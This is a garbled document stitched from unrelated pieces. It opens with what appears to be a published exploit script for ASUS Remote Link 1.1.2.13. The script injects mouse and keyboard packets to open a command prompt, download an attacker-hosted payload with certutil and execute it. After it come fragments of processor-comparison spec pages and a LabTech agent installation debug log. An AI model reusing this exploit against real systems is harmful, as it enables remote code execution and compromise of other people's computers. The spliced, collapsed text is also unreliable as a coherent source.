Decode

# Exploit: ASUS Remote Link 1.1.2.13 - Remote Code Execution# Date: 24-02-2021# Exploit Author: H4rk3nz0# Vendor Homepage: Software Link: Version: 1.1.2.13# Tested on: Windows 10 Enterprise Build 17763# CVE: N/A#!/usr/bin/pythonimport socketfrom time import sleepimport sysport = 5665target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)prefix = "04020b02"suffix = "0000020000000000000000000300000000000000000004000000000000000000010000"enter = (prefix + ("0" * 1038)).decode("hex")string_prefix = "04020b0200000000010000"string_suffix = "0" * 1022pre_command = "04000b0200000000".decode("hex")user_declare = ("02028a0000000000000057696e646f777320446566656e646572" + "0" * 224).decode("hex") # Declares Connection Source as 'Windows Defender'# ASCII to Hex Character Listcharacters={ "A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e", "O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a", "a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e", "o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a", "1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30", " ":"20","+":"2b","=":"3d","/":"2f","_":"5f"," ">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a", "(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e", "":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}# User Specified argumentstry: rhost = "192.168.1.93" lhost = sys.argv[2] payload = sys.argv[3]except: print("Usage: python " + sys.argv[0] + " ") exit()# HandShake Packets to Smart Gesture Serverdef Handshake(): target.connect((rhost,port)) target.sendto("b2".decode("hex"),(rhost,port)) target.sendto("38323538".decode("hex"),(rhost,port)) target.sendto("03000f0000000000".decode("hex"),(rhost,port)) target.sendto("03020f000000000003310000000000".decode("hex"),(rhost,port)) target.sendto("02008a0000000000".decode("hex"),(rhost,port)) target.sendto(user_declare,(rhost,port)) sleep(0.1)def MoveMouse(): for i in range(0,16): target.sendto("0000330038040006".decode("hex"),(rhost,port)) target.sendto(("00013300380400060101db010000c502" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101d0010000ca02" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101c7010000ce02" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101bd010000d202" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101b2010000d502" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101a6010000d802" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010199010000db02" + suffix).decode("hex"),(rhost,port)) target.sendto(("000133003804000601018d010000de02" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010180010000e002" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010171010000e402" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010163010000e602" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010154010000e902" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010146010000eb02" + suffix).decode("hex"),(rhost,port)) target.sendto(("000133003804000601013b010000ed02" + suffix).decode("hex"),(rhost,port)) target.sendto(("000133003804000601012d010000f002" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010120010000f302" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010113010000f702" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010107010000fa02" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101fa000000fd02" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101f10000000003" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101e50000000303" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101d90000000603" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101ce0000000903" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101c20000000d03" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101b60000001103" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101ab0000001403" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101a00000001803" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101950000001c03" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101890000002003" + suffix).decode("hex"),(rhost,port)) target.sendto(("000133003804000601017e0000002403" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101740000002703" + suffix).decode("hex"),(rhost,port)) target.sendto(("000133003804000601016c0000002a03" + suffix).decode("hex"),(rhost,port)) target.sendto(("00013300380400060101650000002c03" + suffix).decode("hex"),(rhost,port)) target.sendto(("000133003804000601015c0000002f03" + suffix).decode("hex"),(rhost,port)) target.sendto(("000133003804000601015c0000003003" + suffix).decode("hex"),(rhost,port)) target.sendto(("000233003804000601005c0000003003" + suffix).decode("hex"),(rhost,port)) sleep(0.6)# Sends Left Click Input (Occasional Delay for some Reason)def LeftClick(): target.sendto("0000330038040006".decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port)) target.sendto(("0002330038040006010016020000e502" + suffix).decode("hex"),(rhost,port)) sleep(4)# Send Enter/Return Key Inputdef SendReturn(): target.sendto(pre_command,(rhost,port)) sleep(0.2) target.sendto(enter,(rhost,port)) # Enter/Return Key# Send String Charactersdef SendString(string): for char in string: convert = characters[char] final_string = string_prefix + convert + string_suffix target.sendto(pre_command,(rhost,port)) target.sendto(final_string.decode("hex"),(rhost,port)) sleep(0.2)# Main Executiondef main(): print("[+] Saying Hello") Handshake() sleep(2) print("[+] Moving Mouse") MoveMouse() print("[+] Left Clicking (takes a few seconds)") LeftClick() # Left Click is delayed sometimes print("[+] Opening CMD") SendString("cmd.exe") # Start Command Prompt sleep(0.5) SendReturn() sleep(1) print("[+] Retrieving Payload") SendString("certutil.exe -f -urlcache + lhost + "/" + payload + " C:WindowsTemp" + payload) # Retrieve Payload sleep(0.5) SendReturn() sleep(3) print("[+] Executing") SendString("C:WindowsTemp" + payload) # Execute Payload sleep(0.5) SendReturn() sleep(0.5) print("[+] Done! Check your listener?") SendReturn() # Trailing Enter Command Ensures full execution target.close() exit()if __name__=="__main__": main()

Normal Core architecture normal Yes Hyperthreading Yes No Overclocking ? No 2.80 GHz Frequency 3.30 GHz 4.70 GHz Turbo Frequency (1 Core) 5.10 GHz 4.10 GHz Turbo Frequency (All Cores) -- Integrated graphics (iGPU) The Intel Core i7-1165G7 or AMD Ryzen Z1 Extreme has integrated graphics, called iGPU for short. The iGPU uses the system's main memory as graphics memory and sits on the processor's die. Intel Iris Xe Graphics 96 (Tiger Lake) GPU AMD Radeon 780M 0.40 GHz GPU frequency 0.80 GHz 1.30 GHz GPU (Turbo) 2.70 GHz 12 GPU Generation 3 10 nm Technology 4 nm 4 Max. displays 4 96 Compute units 12 768 Shader 768 No Hardware Raytracing Yes No Frame Generation AMD FSR 32 GB Max. GPU Memory 32 GB 12 DirectX Version 12 Hardware codec support A photo or video codec that is accelerated in hardware can greatly accelerate the working speed of a processor and extend the battery life of notebooks or smartphones when playing videos. Intel Iris Xe Graphics 96 (Tiger Lake) GPU AMD Radeon 780M Decode / Encode Codec h265 / HEVC (8 bit) Decode / Encode Decode / Encode Codec h265 / HEVC (10 bit) Decode / Encode Decode / Encode Codec h264 Decode / Encode Decode / Encode Codec VP9 Decode Decode Codec VP8 Decode Decode Codec AV1 Decode / Encode Decode / Encode Codec AVC Decode Decode Codec VC-1 Decode Decode / Encode Codec JPEG Decode / Encode Memory & PCIe The Intel Core i7-1165G7 can use up

Boost AI hardware Apple Neural Engine Intel AI Boost (OpenVINO, WindowsML, DirectML, ONNX RT) AI specifications 16 Neural cores @ 38 TOPS 96 TOPS NPU + CPU + iGPU -- Integrated graphics (iGPU) Graphics (iGPU) integrated into the processor not only enable image output without having to rely on a dedicated graphics solution, but can also efficiently accelerate video playback. Intel Arc 140T GPU Apple M4 Pro (20 Core) 0.60 GHz GPU frequency 0.39 GHz 2.25 GHz GPU (Turbo) 1.68 GHz -- GPU Generation -- 5 nm Technology 3 nm 3 Max. displays 3 64 Compute units 320 1024 Shader 2560 Yes Hardware Raytracing Yes Intel XeSS Frame Generation No 32 GB Max. GPU Memory 32 GB 12.2 DirectX Version -- Hardware codec support A photo or video codec that is accelerated in hardware can greatly accelerate the working speed of a processor and extend the battery life of notebooks or smartphones when playing videos. Intel Arc 140T GPU Apple M4 Pro (20 Core) Decode / Encode Codec h265 / HEVC (8 bit) Decode / Encode Decode / Encode Codec h265 / HEVC (10 bit) Decode / Encode Decode / Encode Codec h264 Decode / Encode Decode Codec VP9 Decode / Encode Decode Codec VP8 Decode Decode / Encode Codec AV1 Decode Decode / Encode Codec AVC Decode Decode Codec VC-1 Decode Decode / Encode Codec JPEG Decode / Encode Rate these processors Here you can rate the Intel Core Ultra 7 255H to help other visitors make their purchasing decisions. The average rating is 3.9 stars (8 ratings). Rate now: Here you can rate the Apple M4 Pro (14-CPU 20-GPU) to help other visitors make their purchasing decisions. The average rating is 4.8 stars (345 ratings). Rate now: Average performance in benchmarks ⌀ Single core performance in 1 CPU

Life of notebooks or smartphones when playing videos. Intel UHD Graphics 24 EUs (Alder Lake) GPU Intel UHD Graphics 16 EUs (Alder Lake) Decode / Encode Codec h265 / HEVC (8 bit) Decode / Encode Decode / Encode Codec h265 / HEVC (10 bit) Decode / Encode Decode / Encode Codec h264 Decode / Encode Decode / Encode Codec VP9 Decode / Encode Decode / Encode Codec VP8 Decode / Encode Decode Codec AV1 Decode Decode / Encode Codec AVC Decode / Encode Decode Codec VC-1 Decode Decode / Encode Codec JPEG Decode / Encode Memory & PCIe The Intel Processor N100 can use up to 16 GB of memory in 1 memory channels. The maximum memory bandwidth is 38.4 GB/s. The Intel Processor N95 supports up to 16 GB of memory in 1 memory channels and achieves a memory bandwidth of up to 38.4 GB/s. Intel Processor N100 Characteristic Intel Processor N95 DDR5-4800, DDR4-3200 Memory DDR5-4800, DDR4-3200 16 GB Max. Memory 16 GB 1 (Single Channel) Memory channels 1 (Single Channel) 38.4 GB/s Max. Bandwidth 38.4 GB/s No ECC No 4.00 MB L2 Cache 4.00 MB 6.00 MB L3 Cache 6.00 MB 3.0 PCIe version 3.0 9 PCIe lanes 9 8.9 GB/s PCIe Bandwidth 8.9 GB/s Thermal Management The thermal design power (TDP for short) of the Intel Processor N100 is 6 W, while the Intel Processor N95 has a TDP of 15 W. The TDP specifies the necessary cooling solution that is required to cool the processor sufficiently. Intel Processor N100 Characteristic Intel Processor N95 6 W TDP (PL1 / PBP) 15 W 25 W TDP (PL2) -- 10 W TDP up -- -- TDP down -- 105 °C Tjunction max. 105 °C Technical details The Intel Processor N100 is manufactured in 10 nm and has 10.00 MB cache. The Intel Processor N95 is manufactured in 10 nm and has a 10.00 MB cache. Intel Processor N100 Characteristic Intel Processor N95 10 nm Technology 10 nm Monolithic Chip design Monolithic x86-64 (64 bit) Instruction set (ISA) x86-64 (64 bit) SSE4.1, SSE4.2, AVX, AVX2 ISA extensions SSE4.1, SSE4.2, AVX, AVX2 BGA Socket BGA VT-x, VT-x EPT, VT-d Virtualization VT-x, VT-x EPT, VT-d Yes AES-NI Yes Windows 10, Windows 11, Linux Operating systems Windows 10, Windows 11, Linux Q1/2023 Release date Q1/2023 128 $ Release price -- show more data show more data Rate these processors Here you can rate

At line 1697Install-LTService output:Install-LTService -server -Password '{sanitized}' -SkipDotNetDEBUG: Starting Install-LTService at line 1142DEBUG: Line 1250: Testing Server Response and Version: Line 1252: Raw Response: ||||||200.278DEBUG: Line 1288: Downloading Agent_Install.msi from Starting Test-LTPorts at line 2487DEBUG: Exiting Test-LTPorts at line 2566Starting Install.Waiting for agent to register..........DEBUG: Starting Get-LTProxy at line 3652DEBUG: Line 3143: Decoding Server Password.DEBUG: Line 3226: Attempting Decode for '{sanitized}' with Key 'Thank you for using LabTech.'DEBUG: Line 3146: Decoding Agent Password.DEBUG: Line 3226: Attempting Decode for '{sanitized}' with Key '{sanitized}'DEBUG: Line 3226: Attempting Decode for '{sanitized}' with Key 'Thank you for using LabTech.'DEBUG: Line 3226: Attempting Decode for '{sanitized}' with Key ''DEBUG: Line 3266: Failed to Decode string: '{sanitized}'DEBUG: Line 3266: Failed to Decode string: '{sanitized}'DEBUG: Line 3266: Failed to Decode string: '{sanitized}'DEBUG: Line 3668: Setting ProxyServerURL toDEBUG: Line 3676: Setting ProxyUsername toDEBUG: Line 3683: Setting ProxyPassword toDEBUG: Exiting Get-LTProxy at line 3697LabTech has been installed successfully. Agent ID: 3299 LocationID: 1DEBUG: Exiting Install-LTService at line 1476